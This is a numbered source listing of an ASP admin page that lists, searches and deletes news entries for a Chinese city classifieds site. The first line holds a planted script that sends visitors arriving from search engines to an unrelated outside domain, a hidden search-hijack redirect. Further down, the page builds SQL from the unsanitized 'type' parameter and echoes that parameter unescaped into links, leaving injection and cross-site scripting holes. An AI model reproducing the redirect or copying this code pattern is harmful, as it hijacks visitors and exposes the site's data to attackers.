d:\wwwroot\wuchunhua\cityadmin\list_news.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_cityadmin")="" then
003:
response.Redirect "login.asp"
004:
end if
005:
set rs=server.createobject("adodb.recordset")
006:
if session("twoid")=0 then
007:
city="city_oneid="&session("oneid")&""
008:
else
009:
if session("threeid")=0 then
010:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
011:
else
012:
city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
013:
end if
014:
end if
015:
dim sql,rs
016:
keyword=replace(trim(request.form("keyword")),"'","")
017:
dtype=request("type")
018:
if keyword <>"" then
019:
sql="select * from news_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' ) and "&city&" and stop >= date() order by adid desc"
020:
else
021:
if dtype<>"" then
022:
sql="select * from news_data where type='"&dtype&"' and "&city&" and stop >= date() order by adid desc"
023:
else
024:
sql="select * from news_data where "&city&" and stop >= date() order by adid desc"
025:
end if
026:
end if
027:
set rs=server.createobject("adodb.recordset")
028:
rs.open sql,conn,1,1
%
>
029:
<html>
030:
<head>
031:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
032:
<title>现有信息列表</title>
033:
<link rel="stylesheet" type="text/css" href="style.css">
034:
</head>
035:
036:
<body>
037:
<SCRIPT language=javascript>
038:
function CheckAll(form)
039:
{
040:
for (var i=0;i<form.elements.length;i++)
041:
{
042:
var e = form.elements[i];
043:
if (e.Name != "chkAll")
044:
e.checked = form.chkAll.checked;
045:
}
046:
}
047:
function Checked()
048:
{
049:
var j = 0
050:
for(i=0;i < document.form.elements.length;i++){
051:
if(document.form.elements[i].name == "adid"){
052:
if(document.form.elements[i].checked){
053:
j++;
054:
}
055:
}
056:
}
057:
return j;
058:
}
059:
060:
function DelAll()
061:
{
062:
if(Checked() <= 0){
063:
alert("您至少选择1条信息!");
064:
}
065:
else{
066:
if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
067:
form.action="del_news.asp?del=data";
068:
form.submit();
069:
}
070:
}
071:
}
072:
073:
</SCRIPT>
074:
<FORM name=form method=post>
075:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
076:
<tr>
077:
<td height="20" bgcolor="#799AE1" align="center">
078:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
079:
<tr>
080:
<td width="55">
081:
<select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
082:
<option value="?">全部</option>
083:
<%
set rs_lei = server.createobject("adodb.recordset")
084:
sql = "select * from news_type"
085:
rs_lei.open sql,conn,1,1
086:
do while not rs_lei.eof
%
>
087:
<option value="?type=
<%
=rs_lei("name")
%
>"
<%
if rs_lei("name")=dtype then
%
>selected
<%
end if
%
>>
<%
=rs_lei("name")
%
></option>
088:
<%
rs_lei.movenext
089:
loop
090:
rs_lei.close
091:
set rs_lei = nothing
%
>
092:
</select></td>
093:
<td align="center"><font color="#FFFFFF" style="font-size:14px">
<%
=session("china_city")
%
>分站---全部新闻信息</font></td>
094:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
095:
</tr>
096:
</table></td>
097:
</tr>
098:
<tr>
099:
<td bgcolor="#FFFFFF"> <br>
100:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
101:
<tr bgcolor="#FFFFFF">
102:
<td width="30" align="center">编号</td>
103:
<td align="center">信息标题</td>
104:
<td align="center">所在地区</td>
105:
<td align="center">信息类别</td>
106:
<td align="center">发布日期</td>
107:
<td align="center">截止日期</td>
108:
<td align="center">IP</td>
109:
<td align="center">管理操作</td>
110:
<td width="30" align="center"><input id=chkAll
111:
onClick=CheckAll(this.form) type=checkbox
112:
value=checkbox name=chkAll></td>
113:
</tr>
114:
<%
if rs.eof or rs.bof then
115:
response.write"<tr bgcolor=#FFFFFF><td colspan='12'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
116:
response.end
117:
else
118:
const maxperpage=20
119:
dim currentpage
120:
rs.pagesize=maxperpage
121:
currentpage=request.querystring("pageid")
122:
if isnumeric(currentpage)=false then
123:
response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
124:
response.end
125:
end if
126:
if currentpage="" then
127:
currentpage=1
128:
elseif currentpage<1 then
129:
currentpage=1
130:
else
131:
currentpage=clng(currentpage)
132:
if currentpage > rs.pagecount then
133:
currentpage=rs.pagecount
134:
end if
135:
end if
136:
137:
dim totalput,n
138:
totalput=rs.recordcount
139:
if totalput mod maxperpage=0 then
140:
n=totalput\maxperpage
141:
else
142:
n=totalput\maxperpage+1
143:
end if
144:
if n=0 then
145:
n=1
146:
end if
147:
rs.move(currentpage-1)*maxperpage
148:
i=0
149:
do while i< maxperpage and not rs.eof
%
>
150:
<tr bgcolor="#FFFFFF">
151:
<td align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
152:
<td> <a href="../html/news/
<%
=rs("adid")
%
>.htm" target="_blank">
<%
=rs("title")
%
></a>
153:
<%
If rs("ispic")="yes" Then
%
>
154:
<font color="#FF0000">图</font>
155:
<%
End If
%
></td>
156:
<td align="center"><a title=
<%
=rs("city_one")
%
>/
<%
=rs("city_two")
%
>/
<%
=rs("city_three")
%
> href="#">
<%
=rs("city_one")
%
></a></td>
157:
<td align="center">
<%
=rs("type")
%
></td>
158:
<td align="center">
<%
=rs("date")
%
></td>
159:
<td align="center">
<%
=rs("stop")
%
></td>
160:
<td align="center">
<%
If rs("ip")<>"" Then
%
>
161:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
162:
<%
Else
%
>无
<%
End If
%
></td>
163:
<td align="center"><a href="editad_news.asp?id=
<%
=rs("adid")
%
>"><font color="green">修改</font></a></td>
164:
<td align="center"><input type="checkbox" name="adid" value="
<%
=rs("adid")
%
>" onClick=Checked(form)></td>
165:
</tr>
166:
<%
i=i+1
167:
rs.movenext
168:
loop
169:
rs.close
170:
set rs=nothing
171:
conn.close
172:
set conn=nothing
173:
end if
%
>
174:
</table>
175:
<br>
176:
</td>
177:
</tr>
178:
</table></FORM>
179:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
180:
<tr>
181:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数:
<%
=currentpage
%
>/
<%
=n
%
>
182:
<%
k=currentpage
183:
if k<>1 then
%
>
184:
<a href="?pageid=1&type=
<%
=request("type")
%
>">首页</a>
185:
<a href="?pageid=
<%
=k-1
%
>"&type=
<%
=request("type")
%
>>上一页</a>
<%
else
%
>
186:
首页 上一页
187:
<%
end if
%
>
188:
<%
if k<>n then
%
>
189:
<a href="?pageid=
<%
=k+1
%
>&type=
<%
=request("type")
%
>">下一页</a>
190:
<a href="?pageid=
<%
=n
%
>&type=
<%
=request("type")
%
>">尾页</a>
191:
<%
else
%
>
192:
下一页 尾页
193:
<%
end if
%
>
194:
共有
<%
=totalput
%
> 条信息 </td>
195:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
196:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
197:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
198:
</form>
199:
</tr>
200:
</table>
201:
</body>
202:
</html>
203:
204:
205: